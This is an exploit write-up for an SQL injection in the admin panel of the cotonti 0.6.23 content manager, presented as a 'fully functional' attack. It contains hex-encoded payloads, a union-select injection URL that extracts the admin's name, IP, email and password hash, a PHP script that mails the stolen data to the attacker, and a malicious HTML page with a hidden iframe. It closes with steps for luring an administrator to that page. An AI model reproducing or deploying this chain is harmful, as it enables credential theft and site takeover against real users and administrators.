==================================================================
Vulnerable Software: cotonti-0.6.23
Official Site: http://www.cotonti.com/
Tested version: http://cotonti.googlecode.com/files/cotonti-0.6.23.7z
==================================================================
About Software:

Cotonti is a powerful open-source web development framework and content manager with
a focus on security, speed and flexibility.
==================================================================
Tested on:
*php.ini MAGIC_QUOTES_GPC OFF*
Safe mode off
/*
OS: Windows XP SP2 (32 bit)
Apache: 2.2.21.0
PHP Version: 5.2.17.17
MYSQL:  5.5.25
*/

==================================================================
Vuln Desc:
cotonti-0.6.23 is vulnerable to Remote SQL injection vuln.
==================================================================

Yet I discovered this vuln in seditio 170 version.
But now i noticed same vuln also affects cotonti-0.6.23 and some previous versions.

Remember folks: SQL Injection in administration panel it doesn't means we can't exploit.It isn't Panacea anymore.


Below is fully functional and mixed exploits collection to exploit this vuln and steal admin credentials.
BTW,depends on your fantasy this vuln also can be used to create in eg: XSS =Steal ANTICSRF tokens=Phish,
completely dump sed_users table (simple loop and where user_id=INCREMENTED_ID) will do all this things for you.
Anyways... I'll show  to you how to steal (username,IP,email address,password) from database and silently mail out all this stuff.

Here we go:
==================================================================

Generating Payload:

Payload 1:
#We need to create "link" to our snifer#
mysql> select hex('<img src="http://192.168.0.15/learn/traffic.php?getpwned=') \g
+--------------------------------------------------------------------------------------------------------------------+
| hex('<img src="http://192.168.0.15/learn/traffic.php?getpwned=')                                                   |
+--------------------------------------------------------------------------------------------------------------------+
| 3C696D67207372633D22687474703A2F2F3139322E3136382E302E31352F6C6561726E2F747261666669632E7068703F67657470776E65643D |
+--------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)


Payload 2:
#Here we'll close <img tag#
mysql> select hex('" heigth=0 width=0 />') \g
+--------------------------------------------+
| hex('" heigth=0 width=0 />')               |
+--------------------------------------------+
| 22206865696774683D302077696474683D30202F3E |
+--------------------------------------------+
1 row in set (0.00 sec)
==================================================================

==================================================================
Snifer:

//traffic.php

================BEGIN traffic.php===============
<?php
error_reporting(0);
if (isset($_GET['getpwned']))
{
$nastycookies=htmlentities(str_ireplace('\'','',$_GET['getpwned']));//some bugfixes xD//
$sendto='YOUR_EMAIL@GOES_HERE';//your mail address.//
@mail($sendto,'Your nAsty cookies',PHP_EOL .$nastycookies);//sending mail to you//
}
?>

================EOF traffic.php=================



And now...
We'll attach the following SQL Injection exploit to our malicious page(to PAGE1.HTML)
Exploit:
============== SQL INJECTION EXPLOIT====================
http://target_site.tld/admin.php?m=hits&f=year&v=1' union select 1,concat(0x3C696D67207372633D22687474703A2F2F3139322E3136382E302E31352F6C6561726E2F747261666669632E7068703F67657470776E65643D,user_name,0x7c,user_lastip,0x7c,user_email,0x7c,user_password,0x22206865696774683D302077696474683D30202F3E) from sed_users where user_id=1-- AND 1='1

============== EOF SQL INJECTION EXPLOIT================


======================================================


Creating malicious page which will do all this things for us:

================= PAGE1.HTML====================

<!DOCTYPE HTML>
<html>
<head>
<title></title>

<style type="text/css">
body
{
background-color:white;
color:red;
}
img
{
position:absolute;
top:20px;
}

iframe
{
position:absolute;
background-color:black;
color:black;
visibility:hidden;
}
</style>
</head>
<body>

<h1>Congrats! You have been PwNeD ;)</h1>


<iframe src="http://target_site.tld/admin.php?m=hits&f=year&v=1' union select 1,concat(0x3C696D67207372633D22687474703A2F2F3139322E3136382E302E31352F6C6561726E2F747261666669632E7068703F67657470776E65643D,user_name,0x7c,user_lastip,0x7c,user_email,0x7c,user_password,0x22206865696774683D302077696474683D30202F3E) from sed_users where user_id=1-- AND 1='1" />


</body>
</html>
================ EOF PAGE1.HTML==================

################################################################
Steps to exploiting:
1) Register on target site.
2) Send url (to your page1.html)(aka malicious page) to admin throught private message.(Theris a lot ways)
3) When admin will follow your malicious link to page1.html he/she will be PwnEd ASAP.And you will receive stealed 
staff (username,IP,email address,password) via mail.
Something like this: http://s019.radikal.ru/i624/1206/50/e2969a4611c3.png
